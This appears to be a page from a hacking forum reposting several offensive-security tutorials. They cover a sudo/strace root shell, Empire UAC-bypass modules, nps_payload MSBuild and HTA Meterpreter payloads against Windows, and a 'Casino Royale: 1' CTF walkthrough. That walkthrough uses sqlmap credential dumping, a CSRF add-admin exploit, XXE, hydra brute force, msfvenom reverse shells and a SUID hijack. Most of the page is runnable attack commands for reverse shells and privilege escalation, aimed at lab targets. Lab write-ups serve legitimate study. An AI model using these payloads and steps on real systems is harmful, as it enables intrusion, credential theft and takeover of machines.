export PATH=/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
sudo -l
1
2
3
export PATH=/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
sudo -l
[Image: 11.png?w=687]

On checking the help for “sysud64”, we find that it is actually executing strace.
sudo sysud64 -h | less
1
sudo sysud64 -h | less
[Image: 12.png?w=687]

As we can run sysud64 as root and sysud64 are actually running the strace command. We can spawn a shell as root user using “sysud64”. After spawning a shell as the root user, we switch to the root directory and read our final flag.
sudo sysud64 -o /dev/null /bin/sh
1
sudo sysud64 -o /dev/null /bin/sh
[Image: 14.png?w=687]

This is the fifth article in our empire series, for the basic guide to empire click

[To see content please register here]

. In this article, we will learn to bypass administrator privileges using various bypassuac post-exploitation methods.
Table of content :

Introduction
Bypassuac_env
Bypassuac_eventvwr
Bypassuac_fodhelper
Bypassuac_wscript
Bypassuac

Introduction
UAC stands for User Account Control, which means which user has how many rights to make changes in the system. The rights are given too a user depends on the integrity levels; which are :

High : Administrator rights
Medium : Standard user rights
Low : Extremely restricted

UAC works by adjusting the permission level of our user account, and on the bases of this permission, it decides whether to run a program or not. When changes are made to this permission level, it notifies us but these modules help us to bypass UAC. When we try and gain the highest integrity that is indicated by the number 1.
Bypassuac_env
Let’s start with the first exploit i.e. bypassuac_env. Now, as you can see in the image, we already have an empire session with the integrity of 0, which means we do not have admin right. So type the following set of commands to get administrator privileges :
usemodule privsec/bypassuac_env
set Listener http
execute
1
2
3
usemodule privsec/bypassuac_env
set Listener http
execute
Executing the above module will give you a new session. Upon accessing the said session you can see the integrity has to change to 1, which means no we have administrator rights, just as shown in the image below :
[Image: 1.png?w=687]

bypassuac_eventvwr
Now, let’s try another exploit which is privsec/bypassuac_eventvwr. The function of this module is the same as before i.e. to get administrator rights so we can attack more effectively. This module makes changes in the registry key and inserts a custom command which is then executed when windows event viewer is launched. This custom command will turn the UAC flag off. And, as you can see, we have the session with the integrity of 0 which indicates we have no admin rights yet. So, run the following commands :
usemodule privsec/bypassuac_eventvwr
set Listener http
execute
1
2
3
usemodule privsec/bypassuac_eventvwr
set Listener http
execute
As you can see, we have a new session with the integrity of 1 which confirms that we now have admin rights.
[Image: 2.png?w=687]

Bypassuac_fodhelper
The next module we will use for the same purpose is privesc/bypassuac_fodhelper. This module will gain administrator rights by hijacking a special key in the registry and inserting custom command that will get invoked when windows fodhelper.exe application will be executed. It covers its tracks by getting rid of the key after the payload is invoked. Now, just like before use the following set of commands :
usemodule privesc/bypassuac_fodhelper
set Listener http execute
1
2
usemodule privesc/bypassuac_fodhelper
set Listener http execute
Once the module is executed, you will have the session with the integrity of 1, hence we are successful in attaining the admin rights.
[Image: 3.png?w=687]

bypassuac_wscript
Next the bypassuac module we will use is privesc/bypassuac_wscript. When using wscript for UAC bypass, there is no need for you to send a dll to the target. As wscrpit.exe does not has embedded manifestation, it’s easy to abuse it. And similarly, to have administrator privileges use the following commands :
usemodule privesc/bypassuac_wscript
set Listener http
execute
1
2
3
usemodule privesc/bypassuac_wscript
set Listener http
execute
As you can see in the image, the new session that we have gained is with admin rights.
[Image: 4.png?w=687]

bypassuac
The last module we will use for the same purpose is privesc/bypassuac, this is a trivial process. To execute the following commands :
usemodule privesc/bypassuac
set Listener http
execute
1
2
3
usemodule privesc/bypassuac
set Listener http
execute
[Image: 5.png?w=687]

As you can see in the image above, the new session gained has the integrity of 1 hence the administrator rights are gained.

In this article, we will create payloads using a tool named nps_payload and get meterpreter sessions using those payloads. This tool is written by

[To see content please register here]

and

[To see content please register here]

. Find this tool on

[To see content please register here]

.
Attacker: Kali Linux
Target: Windows 10
Table of Content:

Downloading and Installing
Getting session using MSBuild
Getting session using MSBuild HTA

Downloading and Installing
First, we will get the tool in our attacker machine. It is Kali Linux in our case. The tool is available at GitHub. We will use the git clone command to download it on our machine.
git clone //github.com/trustedsec/nps_payload.git
1
git clone //github.com/trustedsec/nps_payload.git
[Image: 1.png?w=687]

Now we will traverse inside the folder that was downloaded using the git clone, we can check that if we have successfully downloaded the file using ls command. After that use cd to get inside the nps_payload folder. There are some requirements that are required for the nps_payload to run. Those are mentioned inside in the requirements text file. Now we can either install each of those requirements individually but that would be time taking. We will use the pip install command and then mention the requirements file. It will automatically pick the requirements from the file and install it.
pip install -r requirements.txt
1
pip install -r requirements.txt
[Image: 2.png?w=687]

Getting session using MSBuild
Now that we have successfully downloaded the tool and installed the requirements now it’s time to launch the tool and create some payloads and get some sessions. To launch the tool, we can either use command
python nps_payload.py
1
python nps_payload.py
or we could just
./nps_payload.py
1
./nps_payload.py
After launching the tool, we are given options to choose the technique we need to use. Is it going to be a default msbuild payload or the one in the HTA format? We are going to use both but first, we will choose the default msbuild payload. Next, we have to choose the type of payload, is going to be reverse_tcp or reverse_httpor reverse_https or a custom one. We can choose anyone, but here we are choosing the reverse_tcp.
Following this, we are asked to enter the Local IP Address. This is the IP address of the machine where we want the session to reach. That is the attacker machine. In our case, it is Kali Linux. After that, we are asked to enter the listener port. It is selected 443 by default. We are not changing it. That’s it, we are now told that the payload is successfully created as a msbuild_nps.xml file. Also, we are told to start a listener.
[Image: 3.png?w=687]

We will start the listener before anything else. To do this we have to be inside the nps_payload folder. Now the author has provided us with a script that will create a listener for us. So, we will run it as shown below.
msfconsole -r msbuild_nps.rc
1
msfconsole -r msbuild_nps.rc
[Image: 4.png?w=687]

Let’s check the file that we created earlier using the ls command. Now to send the file to the target we will host the directory using the HTTP server as shown below:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 5.png?w=687]

Now onto the target machine. We browse the IP Address of the attacker machine and we see that we have the file msbuild_nps.xml. Now to use the msbuild to execute this XML file, we will have to shift this payload file inside this path:
C:\Windows\Microsoft.NET\Framework\v4.0.30319
[Image: 6.png?w=687]

Once we got the nps_payload.xml file inside the depicted path. Now we need a command prompt terminal (cmd) at that particular path. After we have a cmd at this path we will execute the nps_payload command as shown below.
MSBuild.exe msbuild_nps.xml
1
MSBuild.exe msbuild_nps.xml
[Image: 7.png?w=687]

Now back to our attacker machine, here we created a listener earlier. We see that we have a meterpreter session. This concludes out the attack.
NOTE: If a session is not opened, please be patient. It sometimes takes a bit of time to generate a stable session.
[Image: 8.png?w=687]

Getting session using MSBuild HTA
Let’s get another session using the HTA file. To do this we will generate an HTA file. First, we will launch the tool using the command below.
./nps_payload.py
1
./nps_payload.py
After launching the tool, we are going to choose the HTA payload. Next, we have to choose the type of payload, is going to be reverse_tcp or reverse_httpor reverse_https or a custom one. We can choose anyone, but here we are choosing the reverse_tcp.
Following this, we are asked to enter the Local IP Address. This is the IP address of the machine where we want the session to reach. That is the attacker machine. In our case, it is Kali Linux. After that, we are asked to enter the listener port. It is selected 443 by default. We are not changing it. That’s it, we are now told that the payload is successfully created as msbuild_nps.hta file. Also, we are told to start a listener.
[Image: 9.png?w=687]

We will start the listener as we did earlier.
msfconsole -r msbuild_nps.rc
1
msfconsole -r msbuild_nps.rc
[Image: 10.png?w=687]

Now onto the target machine. We browse the IP Address of the attacker machine and we see that we have the file msbuild_nps.hta. Right click on it and choose to Save the Link As. This will download the payload.
[Image: 12.png?w=687]

Once we got the nps_payload.hta file. Now we need a command prompt terminal (cmd) at that path where we saved the payload file. In our case is the Downloads Folder of the current user. After we have a cmd at this path we will execute the nps_payload command as shown below.
mshta.exe msbuild_nps.hta
1
mshta.exe msbuild_nps.hta
[Image: 13.png?w=687]

Now back to our attacker machine, here we created a listener earlier. We see that we have a meterpreter session. This concludes the attack.
NOTE: If a session is not opened, please be patient. It sometimes takes a bit of time to generate a stable session.
[Image: 14.png?w=687]

Today we are going to solve another CTF challenge “Casino Royale: 1”. It is a vulnerable lab presented by author creosote for helping pentesters to perform online penetration testing according to your experience level. The challenge is to get root on the Targeted Virtual Machine and read the flag.sh within that directory.

Difficulty: Intermediate

Penetrating Methodologies

IP discovery and Port Scanning.
Browsing the IP on port 8080.
Discovering accessible directories on the victim’s machine.
Searching exploits via searchsploit.
Using SQLMAP to find database and login credentials.
Browsing directories on the browser.
Adding Domain name to /etc/hosts file.
Searching exploits via searchsploit.
Using Cross-Site Request Forgery Exploit code.
Using telnet to connect to port 25.
Tail off the access.log file.
Browsing directories on a browser.
Exploiting XML External Entity vulnerability.
Using curl to send the file.
Creating a PHP shell using msfvenom.
Using hydra to brute force FTP login Password.
Logging into Ftp.
Using Multi/handler of Metasploit Framework.
Enumerating through directories.
Getting Login Credentials.
Looking for SUID file and directories.
Creating a bash shell using msfvenom.
Using Netcat listener to get a reverse shell.
Getting Root Access.
Reading the Flag.

Walkthrough
Let’s start off with discovering the IP address of our Target Machine.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Then we’ll continue with our nmap command to find out the open ports and services.
nmap -sV -p- 192.168.1.102
1
nmap -sV -p- 192.168.1.102
[Image: 2.png?w=687&ssl=1]

Since port 80 is open, we explored the Targets IP Address on the browser.
[Image: 3.png?w=687&ssl=1]

We didn’t found anything on the webpage, so we used dirb tool to enumerate the directories on the Targets IP Address.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Here, we found a useful directory index.php. Moving on.
[Image: 6.png?w=687&ssl=1]

We tried opening that directory index.php along with Targets IP Address in the browser. This page seems pretty interesting and gave us our next clue to proceed.
[Image: 7.png?w=687&ssl=1]

The page revealed a pokermax software term. This made us curious to look for it in searchsploit. And our intuition was right. We copied the exploits 6766.txt file on our machine and read it contents. It revealed a link which we tried opening in the browser.
searchsploit poker
searchsploit -m 6766
cat 6766.txt
1
2
3
searchsploit poker
searchsploit -m 6766
cat 6766.txt
[Image: 9.png?w=687&ssl=1]

That link we opened directed us to Pokermax Poker League: Admin Login. Since we don’t any credentials time to bring up SQLMAP.
[Image: 10.png?w=687&ssl=1]

Let’s first find the database.
sqlmap -u

[To see content please register here]

--forms --risk 3 --level 5 --dbs --batch
1
sqlmap -u

[To see content please register here]

--forms --risk 3 --level 5 --dbs --batch
[Image: 11.png?w=687&ssl=1]

The database we found is pokerleague.
[Image: 12.png?w=687&ssl=1]

Let’s look for the credentials of Admin Login in the database pokerleague.
sqlmap -u

[To see content please register here]

--forms --risk 3 --level 5 -D pokerleague --dump-all --batch
1
sqlmap -u

[To see content please register here]

--forms --risk 3 --level 5 -D pokerleague --dump-all --batch
[Image: 13.png?w=687&ssl=1]

We have got the required credentials.
Username: admin
Password: raise12million
[Image: 14.png?w=687&ssl=1]

We have successfully logged into the Admin area. Looking for other clues.
[Image: 15.png?w=687&ssl=1]

After checking all the tabs on the page, we found some useful information in Edit info of player Valenka.
[Image: 16.png?w=687&ssl=1]

We have got a useful directory in player profile; let’s find out where it’s going to lead us. Also, it asked us to update Domain Name casino-royale.local in our hosts file.
[Image: 17.png?w=687&ssl=1]

Updating the hosts file.
[Image: 18.1.png?w=687&ssl=1]

After opening the directory along with domain name in the browser, we found something interesting about port 25 which was open. This information might come in handy. [Image: 18.png?w=687&ssl=1]

Looking around we found a CMS Snowfox. Let’s find if it is on searchsploit.
[Image: 19.png?w=687&ssl=1]

We were right about it. There is an html file available about this exploit. So we copied the file to our machine.
searchsploit snowfox
searchsploit -m 35301
1
2
searchsploit snowfox
searchsploit -m 35301
[Image: 20.png?w=687&ssl=1]

On reading the contents of the file, we found a script for CROSS SITE REQUEST FORGERY (add admin). So we copied this code.
[Image: 21.png?w=687&ssl=1]

Created a new file as raj.html and pasted the code in it, also we made some minor changes as you can see in the image.
[Image: 22.png?w=687&ssl=1]

After that, we have copied the file raj.html to /var/www/html folder of our machine. And restarted the service for apache2.

Let’s connect to port 25 using telnet. We will be sending a mail to recipient valenka along with the link of raj.html file. All the steps are shown in the image.
telnet casino-royale.local 25
1
telnet casino-royale.local 25
[Image: 24.png?w=687&ssl=1]

We have just tail off the access log of apache2.
tail -n1 -f /var/log/apache2/access.log
1
tail -n1 -f /var/log/apache2/access.log
[Image: 25.png?w=687&ssl=1]

Let’s Login with the credentials, we have given in the raj.html file in the Signin section of the page casino-royale.local/vip-client-portfolios/?uri=signin
Email address: [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
Password: password
[Image: 26.png?w=687&ssl=1]

After successfully logging in, we found another clue in Edit of [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login in manage players.
[Image: 27.png?w=687&ssl=1]

Another directory clue let’s open it in the browser and look what it holds.
[Image: 28.png?w=687&ssl=1]

We landed on this page.
[Image: 29.png?w=687&ssl=1]

Since that page doesn’t seem useful from outside. So, we checked its Page Source. This gave us a hint to use an XML External Entity injection for our next step.
[Image: 30.png?w=687&ssl=1]

So we looked for a code for XML External Entity injection online. Therefore, we created a new file xml.txt and pasted the code by making some minor changes.

[To see content please register here]

Let’s send our XML External Entity Injection in file xml.txt using curl.
curl -d @xml.txt

[To see content please register here]

1
curl -d @xml.txt

[To see content please register here]

After exploiting the XML External Entity vulnerability, it gave us the /etc/passwd file. This contained a username for FTP Login i.e ftpUserULTRA
[Image: 33.png?w=687&ssl=1]

We have created a PHP shell payload using msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lport=443 -f raw > shell.php5
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lport=443 -f raw > shell.php5
[Image: 34.png?w=687&ssl=1]

We have used hydra to find the password of username ftpUserULTRA for Ftp Login. We have cracked the password for ftp login i.e bankbank
hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt

[To see content please register here]

1
hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt

[To see content please register here]

Let’s just Login into FTP, after quiet messing up we are only able to send .php5 files or files with no extension. Time to upload our shell and gave permissions to execute.
ftp 192.168.1.102 21
put shell.php5
chmod 777 shell.php5
1
2
3
ftp 192.168.1.102 21
put shell.php5
chmod 777 shell.php5
[Image: 35.png?w=687&ssl=1]

After uploading our shell, we set up a listener using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python.
shell
python -c "import pty; pty.spawn('/bin/bash')"
1
2
shell
python -c "import pty; pty.spawn('/bin/bash')"
After enumerating through directories, we found a useful file config.php. Let’s check it contents.
[Image: 36.png?w=687&ssl=1]

We when we read the contents of config.php. It gave us two useful credentials.
DBusername: valenka
DBpassword: 11archives11!
So, we used these credentials to login into Valenka.
su valenka
password: 11archives11!
1
2
su valenka
password: 11archives11!
After that, we tried to find files with SUID bit permissions.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null
Here we found an interesting Suid file and directory.
/opt/casino-royale/mi6_detect_test
[Image: 37.png?w=687&ssl=1]

On running the SUID file, we see it is most likely using a run.sh file but there no such file or directory. Since the run.sh has no permissions. So we decided to move to /tmp directory.
/opt/casino-royale/mi6_detect_test
cd /opt/casino-royale/
ls
cd /tmp
1
2
3
4
/opt/casino-royale/mi6_detect_test
cd /opt/casino-royale/
ls
cd /tmp
[Image: 38.png?w=687&ssl=1]

We need to create a bash code using Msfvenom:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.107 lport=1234 R
1
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.107 lport=1234 R
After that, we have copied the code in run.sh and executed python server.
nano run.sh
python -m SimpleHTTPServer
1
2
nano run.sh
python -m SimpleHTTPServer
[Image: 39.png?w=687&ssl=1]

We have downloaded the file in the /tmp directory. Again ran the SUID file.
wget

[To see content please register here]

/opt/casino-royale/mi6_detect_test
1
2
wget

[To see content please register here]

/opt/casino-royale/mi6_detect_test
[Image: 40.png?w=687&ssl=1]

This time on running the SUID file, it gave a reverse shell on our netcat listener. Finally, we have got the root access and read the FLAG!!
nc -lvp 1234
id
cd/root
ls
cd flag
cat flag.sh
1
2
3
4
5
6
nc -lvp 1234
id
cd/root
ls
cd flag
cat flag.sh
[Image: 41.png?w=687&ssl=1]

Pages ({1}): « Previous 1 … 841 842 843 844 845 … 1224 Next »

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis